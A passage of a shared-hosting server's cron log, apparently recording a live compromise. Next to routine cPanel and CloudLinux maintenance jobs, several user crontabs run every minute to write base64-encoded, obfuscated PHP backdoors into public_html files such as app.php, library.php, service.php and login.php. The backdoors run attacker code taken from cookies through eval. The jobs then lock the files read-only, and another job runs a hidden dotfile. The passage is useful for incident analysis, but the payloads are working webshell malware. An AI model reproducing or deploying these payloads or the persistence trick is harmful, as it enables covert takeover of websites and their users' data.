NF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:08:01 medusa CROND[5257]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:08:01 medusa CROND[5259]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:09:01 medusa CROND[23234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:09:01 medusa CROND[23306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:09:01 medusa CROND[23399]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 04:09:01 medusa CROND[23401]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:09:01 medusa CROND[23403]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 04:09:01 medusa CROND[23405]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:09:01 medusa CROND[23404]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:09:01 medusa CROND[23412]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:09:01 medusa CROND[23415]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:09:01 medusa CROND[23420]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:09:01 medusa CROND[23421]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:09:01 medusa CROND[23423]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:09:01 medusa CROND[23430]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:10:01 medusa CROND[10797]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 04:10:01 medusa CROND[10798]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 04:10:01 medusa CROND[11045]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 04:10:01 medusa CROND[11046]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:10:01 medusa CROND[11044]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 04:10:01 medusa CROND[11047]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 04:10:01 medusa CROND[11048]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 04:10:01 medusa CROND[11056]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 04:10:01 medusa CROND[11058]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 04:10:01 medusa CROND[11062]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:10:01 medusa CROND[11064]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:10:01 medusa CROND[11066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 04:10:01 medusa CROND[11057]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 04:10:01 medusa CROND[11067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:10:01 medusa CROND[11069]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:10:01 medusa CROND[11078]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 04:10:01 medusa CROND[11065]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 04:10:01 medusa CROND[11080]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 04:10:01 medusa CROND[11094]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:10:01 medusa CROND[11101]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 04:10:01 medusa CROND[11102]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:10:01 medusa CROND[11104]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 04:10:01 medusa CROND[11110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:10:01 medusa CROND[11116]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:10:01 medusa CROND[11117]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2d